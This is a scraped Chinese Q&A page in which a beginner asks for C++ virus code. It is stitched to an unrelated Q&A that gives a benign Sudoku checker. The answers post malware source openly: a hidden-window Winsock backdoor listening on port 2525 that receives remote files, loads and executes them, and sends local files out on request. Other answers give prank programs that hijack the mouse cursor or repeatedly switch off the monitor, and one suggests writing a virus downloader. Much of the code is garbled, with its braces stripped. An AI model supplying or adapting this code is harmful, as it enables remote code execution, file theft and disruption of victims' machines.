求C++病毒代码

Posted 2023-04-26

哪位高手能给我个用C++写的病毒代码吗？能说明怎样运行的最好，我想了解一下病毒的代码及具体的运行过程。我邮箱是[e-mail]
谢了！
看不懂的 我才刚开始接触C++ 也对病毒不了解， 只是想看看病毒到底长的什么样
能告诉我这个病毒怎么运行吗？

/*
分布式病毒协议的C/C++描述代码
Coded by Vxk in CVC
CopyRight® 2001-2002
2002.10.18..night
*/
#include <windows.h>
#include <winsock.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
typedef struct CONNINST

SOCKET socket; /* 本地Socket号 */
unsigned short clientPort; /* 客户端端口 */
struct in_addr clientIP; /* 客户端IP地址 */
time_t beginTime; /* 连接建立时间 - 预留 */
time_t updateTime; /* 最后更新时间 - 预留 */
WORD lastestSequenceNumber; /* 最新包序号 */
unsigned short key; /* 密钥 - 预留*/
unsigned short cmdLen; /* 结果堆长度 */
char *pCmd; /* 命令堆 */
unsigned short resultLen; /* 结果堆长度 */
char *pResult; /* 结果堆 */
struct CONNINST* next; /* 下一个请求实例的地址 */
CONNINST, *pCONNINST;
typedef struct Maillist

String Address;
String Name;
Struct Maillist *pNext;
Maillist,*pMaillist;
typedef struct Moudlelist

String MoudleName;
String MoudleFileName;
String MoudleGuid;
String UseFor;
String MoudleAuther;
Struct Moudlelist *pNext;
Moudlelist,*pMoudlelist;
typedef struct FileUpData

struct in_addr clientIP;
DWORD port;
DWORD SAMGuid;
String FileName;
lvoid cmd;
FileUpData,*pFileUpData;

typedef struct DVPPak

String SAMCommand;
String Guid;
String Auther;
lvoid Cmd;
pMaillist *pMail;
pMoudlelist *pMoudle;
String Versionofme;
pmyPCinfo *pcinfo;
DVPPak, *pDVPPak;

HINSTANCE hInst; /* 当前实例句柄 */
HWND hWndMain; /* 主窗口句柄 */
SOCKET listenSocket; /* 监听套接口 */
pCONNINST pConnInstHead;
pCONNINST addConnInst(SOCKET, unsigned short, struct in_addr);
pCONNINST getConnInst(SOCKET);
void OnWrite(SOCKET socket);
int netHalt(void);
void delConnInst(pCONNINST);
Void DvpExpCmd(Socket s);
void delAllConnInst(void);
void RecvFileThreadProc(pFileUpData *plm);
void SendFileThreadProc(pFileUpData *plm);
int uiStartup(HINSTANCE hInstance, int nCmdShow);
LRESULT CALLBACK MainWndProc(HWND,UINT,WPARAM,LPARAM);
int netStartup(void);
void OnAccept(SOCKET socket);
void OnClose(SOCKET socket);
void OnRead(SOCKET socket);
void sendResult(SOCKET socket);
int netStartup(void)

unsigned short wVersionRequested=MAKEWORD(1,1);
WSADATA wsaData;
SOCKADDR_IN saServer;
DWORD dwAddrStrLen;
char szAddress[128];
int nRet;

/* 初始化WinSock */
if(WSAStartup(wVersionRequested, &wsaData)!=0)

//("Dvp 错误 :: 网络协议启动失败,请重新启动计算机.");

/* 检查Winsock版本 */
if(wsaData.wVersion != wVersionRequested)

//("Dvp 错误 :: 网络协议版本错误,请升级Winsock.");


/* 创建流式套接口 */
listenSocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if(listenSocket==INVALID_SOCKET)

//("ERROR :: Can not create steam socket.");
return 0;


/* 通知套接口有请求事件发生 */
nRet=WSAAsyncSelect(listenSocket,
hWndMain, //在网络事件发生时需要接收消息的窗口句柄
UM_ASYNC, //在网络事件发生时要接收的消息
FD_ACCEPT | FD_READ | FD_WRITE | FD_CLOSE);
//只在程式开始执行一次，以后只要有套接口请求就发送消息
if (nRet==SOCKET_ERROR)

//("ERROR :: Can not initialize steam socket.");
closesocket(listenSocket);
return 0;


/* 地址结构设定 */
saServer.sin_port=htons(2525); //端口在这里哦
saServer.sin_family=AF_INET;
saServer.sin_addr.s_addr=INADDR_ANY;

/* 将一本地地址3872与套接口listenSocket捆绑 */
nRet=bind(listenSocket, (LPSOCKADDR)&saServer, sizeof(struct sockaddr));
if (nRet==SOCKET_ERROR)

//("ERROR :: Can not bind socket to local port 1936.");
//("HINT :: Dvp Kernel Server can only run in one thread.");
closesocket(listenSocket);
return 0;


/* 让套接口开始监听 */
nRet = listen(listenSocket, SOMAXCONN);
if (nRet == SOCKET_ERROR)

//("ERROR :: Can not listen.");
closesocket(listenSocket);
return 0;


dwAddrStrLen = sizeof(szAddress);
GetLocalAddress(szAddress, &dwAddrStrLen);
return 1;


/* Unknown how */
int GetLocalAddress(LPSTR lpStr, LPDWORD lpdwStrLen)

struct in_addr *pinAddr;
LPHOSTENT lpHostEnt;
int nRet;
int nLen;

// Get our local name
nRet = gethostname(lpStr, *lpdwStrLen);
if(nRet==SOCKET_ERROR)

lpStr[0]='\0';
return SOCKET_ERROR;


// "Lookup" the local name
lpHostEnt=gethostbyname(lpStr);
if(lpHostEnt==NULL)

lpStr[0] = '\0';
return SOCKET_ERROR;


// format first address in the list
pinAddr=((LPIN_ADDR)lpHostEnt->h_addr);
nLen=strlen(inet_ntoa(*pinAddr));
if((DWORD)nLen>*lpdwStrLen)

*lpdwStrLen=nLen;
WSASetLastError(WSAEINVAL);
return SOCKET_ERROR;


*lpdwStrLen = nLen;
strcpy(lpStr, inet_ntoa(*pinAddr));
return 0;


int uiStartup(HINSTANCE hInstance, int nCmdShow)

WNDCLASS DvpWindow;

HANDLE hObject;

/* 创建实例 */
hInst=hInstance;

/* 判断是否已经运行 */
hObject=CreateMutex(NULL,FALSE,"DvpC");
if(GetLastError() == ERROR_ALREADY_EXISTS)

CloseHandle(hObject);
PostQuitMessage(0);
return 0;


/* 创建窗口 */
DvpWindow.style=0;//指定类的风格
DvpWindow.lpfnWndProc=(WNDPROC)MainWndProc;//窗口过程的远指针
DvpWindow.cbClsExtra=0;//窗口结构额外字节数
DvpWindow.cbWndExtra=0;//窗口实例额外字节数
DvpWindow.hInstance=hInstance;//窗口过程所在的实例
DvpWindow.hIcon=LoadIcon(hInstance,MAKEINTRESOURCE(MAIN));//调用标识类的图标
DvpWindow.hCursor=LoadCursor(NULL,IDC_ARROW);//调用标识类的光标
DvpWindow.hbrBackground=(HBRUSH)GetStockObject(WHITE_BRUSH);//标识背景类的画刷
DvpWindow.lpszMenuName=NULL;//指向标识类菜单资源的字符串，以空字符结束
DvpWindow.lpszClassName="DVPSample";//标识本类的名称
RegisterClass(&DvpWindow);//注册窗口

hWndMain=CreateWindow("DVPSample",
"DVPSample",
WS_OVERLAPPEDWINDOW,
CW_USEDEFAULT,CW_USEDEFAULT,
CW_USEDEFAULT,CW_USEDEFAULT,
NULL,NULL,hInstance,NULL);
if(!hWndMain) return 0;
ShowWindow(hWndMain,SW_HIDE);//显示窗口
UpdateWindow(hWndMain);//更新窗口
return 1;

//处理窗口消息
LRESULT CALLBACK MainWndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)

switch(message)//开始处理消息


/* User Interface Message */
case WM_CLOSE:
return(DefWindowProc(hWnd,message,wParam,lParam));
break;

case WM_DESTROY:
deleteSystrayIcon();
PostQuitMessage(0);
break;

case WM_SIZE:
delAllConnInst();
break;

/* Network Message */
case UM_ASYNC:
switch(WSAGETSELECTEVENT(lParam))

case FD_ACCEPT:
OnAccept((SOCKET)wParam);
break;
case FD_READ:
OnRead((SOCKET)wParam);
break;

case FD_WRITE:
OnWrite((SOCKET)wParam);
break;

case FD_CLOSE:
OnClose((SOCKET)wParam);
break;

break;

default:
return(DefWindowProc(hWnd,message,wParam,lParam));//默认窗口过程的消息处理

return(0);


pCONNINST addConnInst(SOCKET socket, unsigned short port, struct in_addr ip)

/* 分配一块新的连接实例 */
pCONNINST newConnInst=(pCONNINST)malloc(sizeof(CONNINST));
/* 没有内存了 */
if(newConnInst==NULL) return NULL;

/* 分配一块新的SOCKADDR实例 */
// newConnInst->sockAddr=(LPSOCKADDR)malloc(nAddrLen);
// newConnInst->sockAddr=malloc(nAddrLen);
/* 没有内存了 */
// if(newConnInst->lpSockAddr==NULL)
//
// free(newConnInst);
// return NULL;
//

//装填新的请求包
newConnInst->socket=socket;
newConnInst->clientPort=port;
newConnInst->clientIP=ip;

newConnInst->pCmd=NULL;
newConnInst->pResult=NULL;
newConnInst->cmdLen=0;
newConnInst->resultLen=0;

newConnInst->beginTime=time(NULL);
newConnInst->updateTime=newConnInst->beginTime;
newConnInst->lastestSequenceNumber=0;
newConnInst->next=NULL;

//如果请求链表是空的
if(pConnInstHead==NULL)

//将这个请求作为链表头，放到pConnInstHead
pConnInstHead=newConnInst;

else

pCONNINST tempConn=pConnInstHead;
//走到链表尾
while(tempConn->next) tempConn=tempConn->next;

//追加新包到链表尾
tempConn->next=newConnInst;


//返回装填好的包的指针
return newConnInst;


pCONNINST getConnInst(SOCKET socket)

/* 遍历链表，寻找套接口 */
pCONNINST tempConn=pConnInstHead;
while(tempConn!=NULL)

if(tempConn->socket==socket) break;
tempConn=tempConn->next;

/*若没有，返回NULL */
return(tempConn);


void delConnInst(pCONNINST pConnInstToDel)

/* 如果要删除的是链表头 */
if(pConnInstToDel==pConnInstHead)

/* pConnInstHead->next 成为头 */
pConnInstHead=pConnInstHead->next;
/* 对链表头的free()在最后进行 */

else

pCONNINST tempConn=pConnInstHead;
/* 从链表头开始 到NULL为止 每次指向下一个*/
while(tempConn!=NULL)

/* 若当前的下一个是要被删除的 */
if (tempConn->next==pConnInstToDel)

/* 当前的下一个变成下一个的(要被删除的)下一个 */
tempConn->next=pConnInstToDel->next;
break;




/* 释放pConnInstToDel占用的内存 */
free(pConnInstToDel->pCmd);
free(pConnInstToDel->pResult);
free(pConnInstToDel);
return;


void delAllConnInst(void)

pCONNINST tempConn=pConnInstHead;
pCONNINST tempConn2;

/* 遍历链表，依次释放内存 */
/* 若存在tempConn则继续for */
while(tempConn!=NULL)

tempConn2=tempConn->next;
// free(tempConn->lpSockAddr);
// free(tempConn->pResultBuf);
free(tempConn->pCmd);
free(tempConn->pResult);
free(tempConn);
tempConn=tempConn2;

pConnInstHead=NULL;
return;

void OnAccept(SOCKET socket)

SOCKADDR_IN sockAddrIn;
pCONNINST connInst=NULL;
SOCKET peerSocket;
int tempLength;

// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
peerSocket=accept(listenSocket, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)

if(WSAGetLastError()!=WSAEWOULDBLOCK)

//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;



//让它也可以在读写或关闭的时候向窗口发送消息
WSAAsyncSelect(peerSocket, hWndMain, UM_ASYNC, FD_READ | FD_WRITE | FD_CLOSE);
if(peerSocket==SOCKET_ERROR)

//("Error! WSAAsyncSelect error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;


//将这已连接的套接口放到链表里
connInst=addConnInst(peerSocket, sockAddrIn.sin_port, sockAddrIn.sin_addr);
if (connInst==NULL)

//内存满了
//("Error! Memory is full! The request form %s can not be accepted",inet_ntoa(sockAddrIn.sin_addr));
closesocket(peerSocket);
return;

//("A new request from: %s is accepted on socket %d.",
inet_ntoa(sockAddrIn.sin_addr), peerSocket);
return;

void OnClose(SOCKET socket)

pCONNINST connInst;

// 检查是否已经删除了这个套接口
connInst=getConnInst(socket);
if (connInst==NULL) return;

// It is still in stock list
// The client must have to reset the connection.
// Clean up.
//("The request from %s has been closed. Local socket: %d is free now.", inet_ntoa(connInst->clientIP), connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);

/* 可以读取数据了 */
void OnRead(SOCKET socket)

pCONNINST connInst;
int bytesReceive;
char* pNewCmd=NULL;

/* 查找对应的连接实例 */
connInst=getConnInst(socket);

/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */
if(connInst==NULL)

char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to receive (OnREAD), get some noise - DEBUG");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;


/* 否则将所有数据读入命令堆 */
if(connInst->pCmd==NULL)

connInst->pCmd=(char*)malloc(64);
connInst->cmdLen=0;
if(connInst->pCmd==NULL)

//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;



pNewCmd=(char*)malloc(64);
if(pNewCmd==NULL)

//("Before receiving data from %s, local memory overflowed.", inet_ntoa(connInst->clientIP));
closesocket(connInst->socket);
delConnInst(connInst);
return;

memset(pNewCmd, 0, 64);

bytesReceive=recv(socket, pNewCmd, 64, 0);
//("收到:%d字节",bytesReceive);

if(bytesReceive==SOCKET_ERROR)

//操作此时由于Windows Sockets实现的资源或其它限制的制约而无法调度
if(WSAGetLastError()==WSAEWOULDBLOCK) return;
//("recv() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;


/* 有的时候, OnRead消息是假的, 收到的字节数是-1, 要忽略这种情况*/
if(bytesReceive>0)

connInst->pCmd=(char*)realloc(connInst->pCmd, connInst->cmdLen+bytesReceive);
memcpy(&connInst->pCmd[connInst->cmdLen], pNewCmd, bytesReceive);
connInst->cmdLen+=bytesReceive;

free(pNewCmd);
DvpExpCmd(socket);

else

free(pNewCmd);


return;


Void DvpExpCmd(Socket s)

pCONNINST connInst=getConnInst(s);
char *pThisCmd=NULL; /* 从命令堆里面读取第一个命令包, 这个用来保存命令包的地址 */
char *pSwap=NULL; /* 清除命令堆旧命令交换用的指针 */
if(pThisCmd==NULL)

//("DEBUG - 无法定义命令包起点, 函数返回, 等待命令.");
return;


if(pThisCmd > connInst->pCmd)

/*
如果前面有残余数据, 那么就立刻清除残余数据
这种情况遇到的不会多
*/
//("处理残余数据");
pSwap=connInst->pCmd;
connInst->pCmd=strdup(pThisCmd);
connInst->cmdLen-=(pThisCmd-connInst->pCmd);
free(pSwap);
/* 继续 */

LVoid pak;
while (*pThisCmd!=Null)

pak+=*pThisCmd;
pThisCmd+=sizeof(char);

pDVPPak *myDvp=*(DVPPak*)pak;
if(myDvp->SAMCommand=='UPData')
/*对方传文件给我们！！*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
DWORD dwThread;
if(*up!=Null)up->clientIP=pThisCmd->clientIP;
if(CreateThread(NULL,0,RecvFileThreadProc, *up, 0, &dwThread)==NULL)//文件接受线程
//something wrong with Recv... else
if(CheckSam(myDvp->Guid,myDvp->Auther)!='No')//处理权限,自己发挥吧。。。
int (__stdcall*) MoudleStart=(void*)GetProcAddress(LoadLibrary(UP->FileName),"MoudleStartMe" );
MoudleStart(Up->Cmd);//开始执行！


free(up);

if(myDvp->SAMCommand=='GetData')
/*2002.10.19*/
/*对方要我们的文件*/
pFileUpData *Up=*(FileUpData*)myDvp->cmd;
if(up!=Null)up->clientIP=pThisCmd->clientIP;
DWORD dwThread;
if(CreateThread(NULL,0,SendFileThreadProc, *up, 0, &dwThread)==NULL)//文件传送线程
//something wrong with Recv...
else/*传输SamCmmand='UpData',cmd=(lvoid*)up给对方*/
free(up);

if(myDvp->SAMCommand==Null)

/*处理对方发来信息中有用的信息*/
/*对于我们来讲，这个问题是应该由个人处理的*/
/*对于这里我们还要给对方返回一包即我们的信息*/
/*此处需要发送消息到对方，来获得如文件之类的东西*/


free(pThisCmd);
free(myDvp);
return -1;


void OnWrite(SOCKET socket)

pCONNINST connInst;

connInst=getConnInst(socket);
/* 如果找不到连接实例, 读光缓冲区, 然后ByeBye */
if(connInst==NULL)

char buf[1024];
while(recv(socket, buf, sizeof(buf)-1, 0)!=SOCKET_ERROR);
closesocket(socket);
//("When ready to send, get some noise");
//("it is %c%c%c",buf[0],buf[1],buf[2]);
return;


/* 如果连接实例有需要发送的数据 */
if(connInst->pResult!=NULL)

sendResult(socket);

return;

void sendResult(SOCKET socket)

pCONNINST connInst=getConnInst(socket);
int bytesSent;

bytesSent=send(connInst->socket, connInst->pResult, connInst->resultLen, 0);
if(bytesSent==SOCKET_ERROR)

if (WSAGetLastError()!=WSAEWOULDBLOCK)

//("send() Error");
//("Closing socket: %d", connInst->socket);
closesocket(connInst->socket);
delConnInst(connInst);
return;


if((unsigned int)bytesSent<connInst->resultLen)//如果发送的字节少于结果字节

char* temp;
connInst->resultLen=connInst->resultLen-bytesSent;
temp=(char*)malloc(connInst->resultLen);
memcpy(temp,connInst->pResult+bytesSent,connInst->resultLen);
free(connInst->pResult);
connInst->pResult=temp;

else //如果全部发送完毕

free(connInst->pResult);
connInst->resultLen=0;
connInst->pResult=NULL;



int netHalt(void)

pCONNINST connTemp;

/* 关闭监听套接口 */
closesocket(listenSocket);

/* 关闭所有正在连接的套接口 */
connTemp=pConnInstHead;
while(connTemp)

closesocket(connTemp->socket);
connTemp=connTemp->next;


/* 清除请求包链表 */
delAllConnInst();
Beep(200,50);
WSACleanup();
return 1;

int PASCAL WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)

MSG msg;

/* User Interface Startup */
uiStartup(hInstance, nCmdShow);

/* Network Startup */
netStartup();
/*我们在下面应该做些什么？搜索ip连接。。。。。*/

/* 进入消息循环 */
while(GetMessage(&msg,NULL,0,0))

TranslateMessage(&msg);
DispatchMessage(&msg);


/* Network Halt*/
netHalt();

return 0;


void RecvFileThreadProc(pFileUpData *plm)


// Open target file
// Get remote address
int i,nPort;
char svAddress[256];
lstrcpyn(svAddress,plm->clientIP->sin_addr->s_addr,256);
for(i=0;i<256;i++)
if(svAddress==':')
svAddress='\0';
nPort=atoi(&svAddress[i+1]);
break;



// Put into SOCKADDR_IN structure
SOCKADDR_IN saddr;
struct hostent *he;
DWORD dwIPAddr;

dwIPAddr=inet_addr(svAddress);
if(dwIPAddr==INADDR_NONE)
he=gethostbyname(svAddress);
if(gethostbyname==NULL)
free(plm);
return 1;

dwIPAddr=*(DWORD *)he->h_addr_list[0];


memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=dwIPAddr;

// Create socket

SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(s==INVALID_SOCKET)
free(plm);
return 1;


// Connect to remote port

if(connect(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
closesocket(sv);
free(plm);
return 1;


// Nonblocking mode
DWORD dwBlock=1;
ioctlsocket(sv, FIONBIO, &dwBlock);
HANDLE hFile;
hFile=CreateFile(plm->FileName,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
if(hFile!=NULL)
int nBytes;
DWORD dwCount;
char svBuffer[1024];

do
// Give up time
Sleep(20);

nBytes=recv(sv,svBuffer,1024,0);
if(nBytes>0)
WriteFile(hFile,svBuffer,nBytes,&dwCount,NULL);

while(nBytes>0);

CloseHandle(hFile);


closesocket(sv);
return 0;

void SendFileThreadProc(pFileUpData *plm)

SOCKET sv;
sv=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if(sv==INVALID_SOCKET)
free(plm);
return -2;


// Bind to desired port
SOCKADDR_IN saddr;
memset(&saddr,0,sizeof(SOCKADDR_IN));
saddr.sin_family=AF_INET;
saddr.sin_port=htons(plm->port);
saddr.sin_addr.s_addr=0;

if(bind(sv,(SOCKADDR *)&saddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR)
closesocket(s);
free(pptp);
free(ppi);
return -1;


listen(sv,MAX_CONNECTIONS);

// Nonblocking mode
DWORD argp=TRUE;
ioctlsocket(sv,FIONBIO,&argp);
sleep(1000);
SOCKET psv;
int tempLength;

// accept the new socket descriptor
tempLength=sizeof(SOCKADDR_IN);
psv=accept(sv, (struct sockaddr FAR *)&sockAddrIn, (int FAR*)&tempLength);
if(peerSocket==SOCKET_ERROR)

if(WSAGetLastError()!=WSAEWOULDBLOCK)

//("Error! Accept error. The request form %s can't be accepted.",inet_ntoa(sockAddrIn.sin_addr));
return;


HANDLE hInFile;
hInFile=CreateFile(plm->FileName,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);
if(hInFile==INVALID_HANDLE_value)
//Couldn't open local file.
return -1;

char svBuffer[1024];
DWORD dwBytes;
do
ReadFile(hInFile,svBuffer,1024,&dwBytes,NULL);
if(send(psv,svBuffer,dwBytes,0)<=0) break;
while(dwBytes==1024);
closesocket(psv);
closesocket(sv);
CloseHandle(hInFile);
Return -1;
参考技术A /*此病毒是鼠标乱跑病毒，打开之后鼠标就会不受控制的乱跑，按tab+Alt,再按alt+f4就行*/
#include<bits/stdc++.h>
#include<time.h>
#include<windows.h>
using namespace std;
int main()
system("color 0a");
POINT mouse;
srand(time(0));
while(1)
GetCursorPos(&mouse);
mouse.x=rand()%1920;
mouse.y=rand()%1080;
//cout<<mouse.x<<","<<mouse.y<<endl;
SetCursorPos(mouse.x,mouse.y);
Sleep(300);

return 0;
参考技术B /*
病毒分类：半玩笑病毒
使用效果：不断关闭显示器
*/
#include<windows.h>
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) // 隐藏主窗口
int main()

MessageBox(NULL, "即将启动项目-核弹发射准备", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "流浪地球-自焚毁程序启动", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "准备调用全球12个自焚毁程序", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "程序调用成功", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "流浪地球-自焚毁程序已成功装载！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "核弹发射控制芯片已就位！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "助推系统自检完毕！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "核反应堆自检完毕！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "能量传输通道自检完毕！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "核弹已就位！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "控制芯片已传输至核弹！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "点火闸已就位！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "核弹发射密钥已传至核弹！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "核弹发射程序已启动！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
MessageBox(NULL, "警告，地球将被摧毁！", "核弹发射系统启动程序", MB_OK | MB_ICONEXCLAMATION);
Sleep(1000);
while (1)
SendMessage(HWND_BROADCAST, WM_SYSCOMMAND, SC_MONITORPOWER, (LPARAM)2); // 关闭显示器
Sleep(1000);

参考技术C 请问楼主看得懂么？

所以我给你一个最简单的：

网上的病毒在哪？下载不就得了，用get函数
（其实就是一个病毒下载者）

c++验证数独问题，求代码

定义一个数独类Sudoku，定义成员数据mySudoku将题目所给的9*9的数列输入到数独类中，并编写成员函数checkAnswer()验证它是否是一个成功的数独！
第一行是一个整数T，代表接下来有T组输入；
每一组输入有9行，每一行9个数字，数字都是1~9的合法正整数数字
对于每一组数据，如果这是一个成功的数独，输出“Yeah!”（不包含双引号）和一个换行符。
否则输出“Oh,No!”（不包含双引号）和一个换行符。
例如输入：
2
1 2 3 4 5 6 7 8 9
4 5 6 7 8 9 1 2 3
7 8 9 1 2 3 4 5 6
2 3 4 5 6 7 8 9 1
5 6 7 8 9 1 2 3 4
8 9 1 2 3 4 5 6 7
3 4 5 6 7 8 9 1 2
6 7 8 9 1 2 3 4 5
9 1 2 3 4 5 6 7 8

1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
1 2 3 4 5 6 7 8 9
输出：
Yeah!
Oh,No!
不是类也可以，能够验证数独就行

把上述的数据存入文件，运行时从文件中读取：
#include<stdio.h>
#include<string.h>
int a[9][9];
int checkAnswer()
int i,j,s,b[10],i1,j1;
 for(i=0;i<9;i++)
 memset(b,0,sizeof(b));
  for(j=0;j<9;j++)
    b[a[i][j]]=1;
  for(j=s=0;j<10;j++)
    s+=b[j];
  if(s-9)return 0;   
 
 for(i=0;i<9;i++)
 memset(b,0,sizeof(b));
  for(j=0;j<9;j++)
    b[a[j][i]]=1;
  for(j=s=0;j<10;j++)
    s+=b[j];
  if(s-9)return 0;   
 
 for(i=0;i<9;i+=3)
   for(j=0;j<9;j+=3)
   memset(b,0,sizeof(b));
    for(i1=0;i1<3;i1++)
      for(j1=0;j1<3;j1++)
         b[a[i+i1][j+j1]]=1;
    for(j1=s=0;j1<10;j1++)
      s+=b[j1];
    if(s-9)return 0;   
   
 return 1;  

int main()
int t,i,j;
 FILE *fp;
 if((fp=fopen("d:\\\\0.txt","r"))==NULL)
 printf("File open error!\\n");
  return 0;
 
 fscanf(fp,"%d",&t);
 while(t--)
 for(i=0;i<9;i++)
    for(j=0;j<9;j++)
      fscanf(fp,"%d",&a[i][j]);
  printf("%s\\n",checkAnswer()?"Yeah!":"Oh,No!");
 
 fclose(fp);
 return 0;

参考技术A #include <iostream>
using namespace std;
class Sudoku
    int num[9][9];
public:
    Sudoku()
    void in();
    bool checkAnswer();
;
void Sudoku::in()
    for(int i=0;i<9;i++)
        for(int j=0;j<9;j++)
            cin>>num[i][j];

bool judge(int a[])
    int i,j,k,t;
    for(i=0;i<8;i++)
        k=i;
        for(j=i+1;j<9;j++)
            if (a[j]<a[k])
                k=j;
        if (i!=k)
            t=a[i];
            a[i]=a[k];
            a[k]=t;
        
    
    for(i=0;i<9;i++)
        if (a[i]!=i+1)
            return true;
    return false;

bool Sudoku::checkAnswer()
    int a[9];
    int i,j,k;
    for(i=0;i<9;i++)
        for(j=0;j<9;j++)
            a[j]=num[i][j];
        if (judge(a)) return false;
        for(j=0;j<9;j++)
            a[j]=num[j][i];
        if (judge(a)) return false;
        if (i%3==0)
            j=0;
            for(k=0;k<3;k++)
                a[j++]=num[i+k][0];
                a[j++]=num[i+k][1];
                a[j++]=num[i+k][2];
            
            if (judge(a)) return false;
            j=0;
            for(k=0;k<3;k++)
                a[j++]=num[i+k][3];
                a[j++]=num[i+k][4];
                a[j++]=num[i+k][5];
            
            if (judge(a)) return false;
            j=0;
            for(k=0;k<3;k++)
                a[j++]=num[i+k][6];
                a[j++]=num[i+k][7];
                a[j++]=num[i+k][8];
            
            if (judge(a)) return false;
        
    
    return true;

int main()
    int n;
    Sudoku A;
    cin>>n;
    while (n--)
        A.in();
        if (A.checkAnswer())
            cout<<"Yeah!"<<endl;
        else cout<<"Oh,No!"<<endl;
    
    return 0;

本回答被提问者采纳